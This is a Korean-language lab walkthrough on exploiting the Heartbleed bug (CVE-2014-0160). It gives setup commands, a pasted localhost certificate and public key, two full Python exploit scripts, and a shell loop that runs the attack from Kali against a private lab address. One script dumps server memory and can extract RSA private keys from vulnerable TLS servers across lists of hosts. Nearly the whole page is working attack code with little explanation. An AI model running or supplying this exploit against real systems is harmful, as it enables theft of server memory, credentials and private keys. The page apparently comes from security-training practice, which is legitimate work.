Search

하트블리드

공격 파일 준비

공격 파일 작성

아래와 같이 준비 예정

폴더 준비

mkdir bleed cd bleed
Bash
복사

인증서 준비

mkdir hb-certs cd hb-certs
Bash
복사
인증서 작성
vi sslcert_localhost.pem
Bash
복사
내용
-----BEGIN CERTIFICATE----- MIIDfzCCAmegAwIBAgIJALRGnmT5afRnMA0GCSqGSIb3DQEBCwUAMFYxCzAJBgNV BAYTAlVTMQ8wDQYDVQQIDAZEZW5pYWwxFDASBgNVBAcMC1NwcmluZ2ZpZWxkMQww CgYDVQQKDANEaXMxEjAQBgNVBAMMCWxvY2FsaG9zdDAeFw0xOTA1MjgwNTE1Mzha Fw0yMDA1MjcwNTE1MzhaMFYxCzAJBgNVBAYTAlVTMQ8wDQYDVQQIDAZEZW5pYWwx FDASBgNVBAcMC1NwcmluZ2ZpZWxkMQwwCgYDVQQKDANEaXMxEjAQBgNVBAMMCWxv Y2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOwMupq3e1b5 fOxWvsDtyl7C+m2EcFXvWywfUCxeglKpjHHjeajpHB42QH3OsxLQt1m62NqLs1Ue JNKW1IXtfOM0f+jDevnqkWipNtyqvj58myJJQkEHTQPa4hbNhgm/b6NNO6xbL6wV 72E93ZCb1LsSmuz3CGy6+1CdNF17+9BQlFbSdiFGUNt9NQ+GpUbTeJ/OetfAIH93 +RbEfaE9yMRv0Y3FabXUfeUdjNL2I+wKJBNbbSULnpydNTNs2sDWEa8VC1b/S5Uy UElWllmljfSOqm0lkAWVCqhXMzDQon9yqEGqt97B9CNSEq+cB0QNnvO27OwliC71 7KZQN+FCXWECAwEAAaNQME4wHQYDVR0OBBYEFHjxuTIDqIERo2EXcFHOaQFhp/j5 MB8GA1UdIwQYMBaAFHjxuTIDqIERo2EXcFHOaQFhp/j5MAwGA1UdEwQFMAMBAf8w DQYJKoZIhvcNAQELBQADggEBAB/t3tvgovlUHhd6WdjWPz+24aaK0xQtsvcG3UHQ YiGy0n1BFCVFfTvRm/D9bx9FG8+gcEQJkeitZJrouXZrpNMFQoQq0f9BotkUkUIe Ibf08WujVMMJ7qvT0klZJjwLnROuPO35z6CK97Lixn9tIZ1U5UDGoyHgW7gA2Rmx bJWHPzjLnGLDZoMNulesSOlngmTFfVHCIerEMvw8wGBffg8hVaNsSUU9YexPN0wd AON2kF/KYcQPyeFOy89d7HwOKGs4F9Tn10FrUjAbWrXjobCbKxVTpBOLmALvGi26 YbE5e9QAJQC1gTjmxr94spxXDGtYI7Tqu2B/BkEutwOg898= -----END CERTIFICATE-----
Bash
복사
인증서 작성 2
vi sslcert_localhost_pubkey.pem
Bash
복사
내용
-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7Ay6mrd7Vvl87Fa+wO3K XsL6bYRwVe9bLB9QLF6CUqmMceN5qOkcHjZAfc6zEtC3WbrY2ouzVR4k0pbUhe18 4zR/6MN6+eqRaKk23Kq+PnybIklCQQdNA9riFs2GCb9vo007rFsvrBXvYT3dkJvU uxKa7PcIbLr7UJ00XXv70FCUVtJ2IUZQ2301D4alRtN4n85618Agf3f5FsR9oT3I xG/RjcVptdR95R2M0vYj7AokE1ttJQuenJ01M2zawNYRrxULVv9LlTJQSVaWWaWN 9I6qbSWQBZUKqFczMNCif3KoQaq33sH0I1ISr5wHRA2e87bs7CWILvXsplA34UJd YQIDAQAB -----END PUBLIC KEY-----
Bash
복사

공격 코드 준비

vi heartbleed.py
Python
복사
내용
#!/usr/bin/python # Modified by Travis Lee # Last Updated: 4/21/14 # Version 1.16 # # -changed output to display text only instead of hexdump and made it easier to read # -added option to specify number of times to connect to server (to get more data) # -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc... # -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port) # -added option to have verbose output # -added capability to automatically check if STARTTLS/STLS/AUTH TLS is supported when smtp/pop/imap/ftp ports are entered and automatically send appropriate command # -added option for hex output # -added option to output raw data to a file # -added option to output ascii data to a file # -added option to not display returned data on screen (good if doing many iterations and outputting to a file) # -added tls version auto-detection # -added an extract rsa private key mode (orig code from epixoip. will exit script when found and enables -d (do not display returned data on screen) # -requires following modules: gmpy, pyasn1 # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re import time import os from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test and exploit TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-n', '--num', type='int', default=1, help='Number of times to connect/loop (default: 1)') options.add_option('-s', '--starttls', action="store_true", dest="starttls", help='Issue STARTTLS command for SMTP/POP/IMAP/FTP/etc...') options.add_option('-f', '--filein', type='str', help='Specify input file, line delimited, IPs or hostnames or IP:port or hostname:port') options.add_option('-v', '--verbose', action="store_true", dest="verbose", help='Enable verbose output') options.add_option('-x', '--hexdump', action="store_true", dest="hexdump", help='Enable hex output') options.add_option('-r', '--rawoutfile', type='str', help='Dump the raw memory contents to a file') options.add_option('-a', '--asciioutfile', type='str', help='Dump the ascii contents to a file') options.add_option('-d', '--donotdisplay', action="store_true", dest="donotdisplay", help='Do not display returned data on screen') options.add_option('-e', '--extractkey', action="store_true", dest="extractkey", help='Attempt to extract RSA Private Key, will exit when found. Choosing this enables -d, do not display returned data on screen.') opts, args = options.parse_args() if opts.extractkey: import base64, gmpy from pyasn1.codec.der import encoder from pyasn1.type.univ import * def hex2bin(arr): return ''.join('{:02x}'.format(x) for x in arr).decode('hex') tls_versions = {0x01:'TLSv1.0',0x02:'TLSv1.1',0x03:'TLSv1.2'} def build_client_hello(tls_ver): client_hello = [ # TLS header ( 5 bytes) 0x16, # Content type (0x16 for handshake) 0x03, tls_ver, # TLS Version 0x00, 0xdc, # Length # Handshake header 0x01, # Type (0x01 for ClientHello) 0x00, 0x00, 0xd8, # Length 0x03, tls_ver, # TLS Version # Random (32 byte) 0x53, 0x43, 0x5b, 0x90, 0x9d, 0x9b, 0x72, 0x0b, 0xbc, 0x0c, 0xbc, 0x2b, 0x92, 0xa8, 0x48, 0x97, 0xcf, 0xbd, 0x39, 0x04, 0xcc, 0x16, 0x0a, 0x85, 0x03, 0x90, 0x9f, 0x77, 0x04, 0x33, 0xd4, 0xde, 0x00, # Session ID length 0x00, 0x66, # Cipher suites length # Cipher suites (51 suites) 0xc0, 0x14, 0xc0, 0x0a, 0xc0, 0x22, 0xc0, 0x21, 0x00, 0x39, 0x00, 0x38, 0x00, 0x88, 0x00, 0x87, 0xc0, 0x0f, 0xc0, 0x05, 0x00, 0x35, 0x00, 0x84, 0xc0, 0x12, 0xc0, 0x08, 0xc0, 0x1c, 0xc0, 0x1b, 0x00, 0x16, 0x00, 0x13, 0xc0, 0x0d, 0xc0, 0x03, 0x00, 0x0a, 0xc0, 0x13, 0xc0, 0x09, 0xc0, 0x1f, 0xc0, 0x1e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x9a, 0x00, 0x99, 0x00, 0x45, 0x00, 0x44, 0xc0, 0x0e, 0xc0, 0x04, 0x00, 0x2f, 0x00, 0x96, 0x00, 0x41, 0xc0, 0x11, 0xc0, 0x07, 0xc0, 0x0c, 0xc0, 0x02, 0x00, 0x05, 0x00, 0x04, 0x00, 0x15, 0x00, 0x12, 0x00, 0x09, 0x00, 0x14, 0x00, 0x11, 0x00, 0x08, 0x00, 0x06, 0x00, 0x03, 0x00, 0xff, 0x01, # Compression methods length 0x00, # Compression method (0x00 for NULL) 0x00, 0x49, # Extensions length # Extension: ec_point_formats 0x00, 0x0b, 0x00, 0x04, 0x03, 0x00, 0x01, 0x02, # Extension: elliptic_curves 0x00, 0x0a, 0x00, 0x34, 0x00, 0x32, 0x00, 0x0e, 0x00, 0x0d, 0x00, 0x19, 0x00, 0x0b, 0x00, 0x0c, 0x00, 0x18, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x16, 0x00, 0x17, 0x00, 0x08, 0x00, 0x06, 0x00, 0x07, 0x00, 0x14, 0x00, 0x15, 0x00, 0x04, 0x00, 0x05, 0x00, 0x12, 0x00, 0x13, 0x00, 0x01, 0x00, 0x02, 0x00, 0x03, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11, # Extension: SessionTicket TLS 0x00, 0x23, 0x00, 0x00, # Extension: Heartbeat 0x00, 0x0f, 0x00, 0x01, 0x01 ] return client_hello def build_heartbeat(tls_ver): heartbeat = [ 0x18, # Content Type (Heartbeat) 0x03, tls_ver, # TLS version 0x00, 0x03, # Length # Payload 0x01, # Type (Request) 0x40, 0x00 # Payload length ] return heartbeat if opts.rawoutfile: rawfileOUT = open(opts.rawoutfile, "a") if opts.asciioutfile: asciifileOUT = open(opts.asciioutfile, "a") if opts.extractkey: opts.donotdisplay = True def hexdump(s): pdat = '' hexd = '' for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] if opts.hexdump: hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) hexd += ' %04x: %-48s %s\n' % (b, hxdat, pdat) else: pdat += ''.join((c if ((32 <= ord(c) <= 126) or (ord(c) == 10) or (ord(c) == 13)) else '.' )for c in lin) if opts.hexdump: return hexd else: pdat = re.sub(r'([.]{50,})', '', pdat) if opts.asciioutfile: asciifileOUT.write(pdat) return pdat def rcv_tls_record(s): try: tls_header = s.recv(5) if not tls_header: print 'Unexpected EOF (header)' return None,None,None typ,ver,length = struct.unpack('>BHH',tls_header) message = '' while len(message) != length: message += s.recv(length-len(message)) if not message: print 'Unexpected EOF (message)' return None,None,None if opts.verbose: print 'Received message: type = {}, version = {}, length = {}'.format(typ,hex(ver),length,) return typ,ver,message except Exception as e: print "\nError Receiving Record! " + str(e) return None,None,None def hit_hb(s, targ, firstrun, supported): s.send(hex2bin(build_heartbeat(supported))) while True: typ, ver, pay = rcv_tls_record(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return '' if typ == 24: if opts.verbose: print 'Received heartbeat response...' if len(pay) > 3: if firstrun or opts.verbose: print '\nWARNING: ' + targ + ':' + str(opts.port) + ' returned more data than it should - server is vulnerable!' if opts.rawoutfile: rawfileOUT.write(pay) if opts.extractkey: return pay else: return hexdump(pay) else: print 'Server processed malformed heartbeat, but did not return any extra data.' if typ == 21: print 'Received alert:' return hexdump(pay) print 'Server returned error, likely not vulnerable' return '' def conn(targ, port): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sys.stdout.flush() s.settimeout(10) #time.sleep(0.2) s.connect((targ, port)) return s except Exception as e: print "Connection Error! " + str(e) return None def bleed(targ, port): try: res = '' firstrun = True print '\n##################################################################' print 'Connecting to: ' + targ + ':' + str(port) + ', ' + str(opts.num) + ' times' for x in range(0, opts.num): if x > 0: firstrun = False if x == 0 and opts.extractkey: print "Attempting to extract private key from returned data..." if not os.path.exists('./hb-certs'): os.makedirs('./hb-certs') print '\nGrabbing public cert from: ' + targ + ':' + str(port) + '\n' os.system('echo | openssl s_client -connect ' + targ + ':' + str(port) + ' -showcerts | openssl x509 > hb-certs/sslcert_' + targ + '.pem') print '\nExtracting modulus from cert...\n' os.system('openssl x509 -pubkey -noout -in hb-certs/sslcert_' + targ + '.pem > hb-certs/sslcert_' + targ + '_pubkey.pem') output = os.popen('openssl x509 -in hb-certs/sslcert_' + targ + '.pem -modulus -noout | cut -d= -f2') modulus = output.read() s = conn(targ, port) if not s: continue # send starttls command if specified as an option or if common smtp/pop3/imap ports are used if (opts.starttls) or (port in {25, 587, 110, 143, 21}): stls = False atls = False # check if smtp supports starttls/stls if port in {25, 587}: print 'SMTP Port... Checking for STARTTLS Capability...' check = s.recv(1024) s.send("EHLO someone.org\n") sys.stdout.flush() check += s.recv(1024) if opts.verbose: print check if "STARTTLS" in check: opts.starttls = True print "STARTTLS command found" elif "STLS" in check: opts.starttls = True stls = True print "STLS command found" else: print "STARTTLS command NOT found!" print '##################################################################' return # check if pop3/imap supports starttls/stls elif port in {110, 143}: print 'POP3/IMAP4 Port... Checking for STARTTLS Capability...' check = s.recv(1024) if port == 110: s.send("CAPA\n") if port == 143: s.send("CAPABILITY\n") sys.stdout.flush() check += s.recv(1024) if opts.verbose: print check if "STARTTLS" in check: opts.starttls = True print "STARTTLS command found" elif "STLS" in check: opts.starttls = True stls = True print "STLS command found" else: print "STARTTLS command NOT found!" print '##################################################################' return # check if ftp supports auth tls/starttls elif port in {21}: print 'FTP Port... Checking for AUTH TLS Capability...' check = s.recv(1024) s.send("FEAT\n") sys.stdout.flush() check += s.recv(1024) if opts.verbose: print check if "STARTTLS" in check: opts.starttls = True print "STARTTLS command found" elif "AUTH TLS" in check: opts.starttls = True atls = True print "AUTH TLS command found" else: print "STARTTLS command NOT found!" print '##################################################################' return # send appropriate tls command if supported if opts.starttls: sys.stdout.flush() if stls: print 'Sending STLS Command...' s.send("STLS\n") elif atls: print 'Sending AUTH TLS Command...' s.send("AUTH TLS\n") else: print 'Sending STARTTLS Command...' s.send("STARTTLS\n") if opts.verbose: print 'Waiting for reply...' sys.stdout.flush() rcv_tls_record(s) supported = False for num,tlsver in tls_versions.items(): if firstrun: print 'Sending Client Hello for {}'.format(tlsver) s.send(hex2bin(build_client_hello(num))) if opts.verbose: print 'Waiting for Server Hello...' while True: typ,ver,message = rcv_tls_record(s) if not typ: if opts.verbose: print 'Server closed connection without sending ServerHello for {}'.format(tlsver) s.close() s = conn(targ, port) break if typ == 22 and ord(message[0]) == 0x0E: if firstrun: print 'Received Server Hello for {}'.format(tlsver) supported = True break if supported: break if not supported: print '\nError! No TLS versions supported!' print '##################################################################' return if opts.verbose: print '\nSending heartbeat request...' sys.stdout.flush() keyfound = False if opts.extractkey: res = hit_hb(s, targ, firstrun, supported) if res == '': continue keyfound = extractkey(targ, res, modulus) else: res += hit_hb(s, targ, firstrun, supported) s.close() if keyfound: sys.exit(0) else: sys.stdout.write('\rPlease wait... connection attempt ' + str(x+1) + ' of ' + str(opts.num)) sys.stdout.flush() print '\n##################################################################' print return res except Exception as e: print "Error! " + str(e) print '##################################################################' print def extractkey(host, chunk, modulus): #print "\nChecking for private key...\n" n = int (modulus, 16) keysize = n.bit_length() / 16 for offset in xrange (0, len (chunk) - keysize): p = long (''.join (["%02x" % ord (chunk[x]) for x in xrange (offset + keysize - 1, offset - 1, -1)]).strip(), 16) if gmpy.is_prime (p) and p != n and n % p == 0: if opts.verbose: print '\n\nFound prime: ' + str(p) e = 65537 q = n / p phi = (p - 1) * (q - 1) d = gmpy.invert (e, phi) dp = d % (p - 1) dq = d % (q - 1) qinv = gmpy.invert (q, p) seq = Sequence() for x in [0, n, e, d, p, q, dp, dq, qinv]: seq.setComponentByPosition (len (seq), Integer (x)) print "\n\n-----BEGIN RSA PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n" % base64.encodestring(encoder.encode (seq)) privkeydump = open("hb-certs/privkey_" + host + ".dmp", "a") privkeydump.write(chunk) return True else: return False def main(): print "\ndefribulator v1.16" print "A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)" allresults = '' # if a file is specified, loop through file if opts.filein: fileIN = open(opts.filein, "r") for line in fileIN: targetinfo = line.strip().split(":") if len(targetinfo) > 1: allresults = bleed(targetinfo[0], int(targetinfo[1])) else: allresults = bleed(targetinfo[0], opts.port) if allresults and (not opts.donotdisplay): print '%s' % (allresults) fileIN.close() else: if len(args) < 1: options.print_help() return allresults = bleed(args[0], opts.port) if allresults and (not opts.donotdisplay): print '%s' % (allresults) print if opts.rawoutfile: rawfileOUT.close() if opts.asciioutfile: asciifileOUT.close() if __name__ == '__main__': main()
Python
복사

테스트 코드 작성

뭐하는건지는 모르겠음
#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main()
Python
복사

공격 진행

칼리에서 공격코드 실행

while true; do python2 heartbleed.py 192.168.10.133; sleep 5; done
Bash
복사